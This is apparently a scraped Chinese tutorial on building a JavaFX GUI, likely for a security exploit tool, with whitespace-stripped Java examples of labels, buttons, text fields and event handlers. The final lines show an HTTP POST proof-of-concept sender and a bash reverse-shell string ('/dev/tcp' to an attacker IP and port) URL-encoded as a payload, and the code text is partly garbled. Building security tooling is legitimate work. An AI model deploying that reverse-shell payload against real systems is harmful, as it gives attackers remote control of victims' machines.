





packagesample;publicclassController {}
packagesample;importjavafx.application.Application;importjavafx.fxml.FXMLLoader;importjavafx.scene.Parent;importjavafx.scene.Scene;importjavafx.stage.Stage;publicclassMain extendsApplication {//继承Application 需要重写方法@Override//创建一个舞台 可以理解为程序的界面publicvoidstart(StageprimaryStage)throwsException{//类加载器加载当前的fxml文件Parent root =FXMLLoader.load(getClass().getResource("sample.fxml"));//设置一个titleprimaryStage.setTitle("HelloWorld");//设置一个窗口大小primaryStage.setScene(newScene(root,300,275));//展示窗口primaryStage.show();}publicstaticvoidmain(String[]args){//运行程序launch(args);}}










//注意别导错包importjavafx.scene.control.Label;Labellabel =newLabel();
importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.Label;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication {@Overridepublicvoidstart(StageprimaryStage)throwsException{BorderPane root =newBorderPane();//创建一个标签Labellabel =newLabel("我是标签");//把标签放到bp布局的中间位置root.setCenter(label);primaryStage.setTitle("demo");primaryStage.setScene(newScene(root,400,300));primaryStage.show();}}

importjavafx.scene.control.Button;Buttonbutton =newButton();importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication {@Overridepublicvoidstart(StageprimaryStage)throwsException{BorderPane root =newBorderPane();//创建一个按钮Buttonbutton =newButton("别碰我");root.setCenter(button);primaryStage.setTitle("demo");primaryStage.setScene(newScene(root,400,300));primaryStage.show();}}

setOnAction();
button.setOnAction(newEventHandler<ActionEvent>() {@Overridepublic void handle(ActionEvent event) {// code// 这里就是写执行动作的代码}});importjavafx.application.Application;importjavafx.event.ActionEvent;importjavafx.event.EventHandler;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication {@Overridepublicvoidstart(StageprimaryStage)throwsException{BorderPane root =newBorderPane();//创建一个按钮Buttonbutton =newButton("别碰我");button.setOnAction(newEventHandler<ActionEvent>(){@Overridepublicvoidhandle(ActionEventevent){button.setText("尊贵的凯迪拉克车主,前方就是洗浴中心,请靠边停车");}});root.setCenter(button);primaryStage.setTitle("demo");primaryStage.setScene(newScene(root,400,300));primaryStage.show();}}


importjavafx.scene.control.TextField;TextFieldtextField =newTextField();importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{ BorderPane root =newBorderPane(); TextFieldtextField =newTextField(); root.setCenter(textField); primaryStage.setTitle("demo"); primaryStage.setScene(newScene(root,400,300)); primaryStage.show(); }}

importjavafx.scene.control.TextArea;TextAreatextArea =newTextArea();importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.TextArea;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication {@Overridepublicvoidstart(StageprimaryStage)throwsException{BorderPane root =newBorderPane();TextAreatextArea =newTextArea();root.setCenter(textArea);primaryStage.setTitle("demo");primaryStage.setScene(newScene(root,400,300));primaryStage.show();}}
packagesample;importjavafx.application.Application;importjavafx.event.ActionEvent;importjavafx.event.EventHandler;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.control.TextArea;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.scene.layout.HBox;importjavafx.scene.layout.Priority;importjavafx.stage.Stage;publicclassDemo extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{ //创建盒子 HBox hBox =newHBox(); //盒子里存放两个控件文本行和按钮 TextFieldtextField =newTextField(); Buttonbutton =newButton("添加"); TextAreatextArea =newTextArea(); //添加组件 hBox.getChildren().addAll(textField,button); //让文本框占满水平方向的长度 HBox.setHgrow(textField,Priority.ALWAYS); //在bp添加hbox盒子 BorderPane bp =newBorderPane(); bp.setTop(hBox); bp.setCenter(textArea); //按钮添加监听 button.setOnAction(newEventHandler<ActionEvent>(){ @Override publicvoidhandle(ActionEventevent){ //获取文本行的内容发送给文本区里 Stringtext =textField.getText(); textArea.appendText(text+"n"); } }); primaryStage.setScene(newScene(bp,400,300)); primaryStage.show(); }}










HttpURLConnectionconn =(HttpURLConnection)exp_url.openConnection();conn.setDoOutput(true);conn.setDoInput(true);conn.setUseCaches(false);conn.setRequestMethod("POST");·· · · · ·conn.setRequestProperty("Content-Typ","application/x-www-form-urlencoded");conn.connect();Stringdata ="poc";
byte[]paramByte=data.getBytes(); conn.getOutputStream().write(paramByte);//传入参数的byte类型
Stringbash ="bash-c "bash-i >& /dev/tcp/"+ip+"/"+port+"0>&1""; Stringurl_encode =URLEncoder.encode(bash,"UTF-8");


本文作者:酒仙桥六号部队
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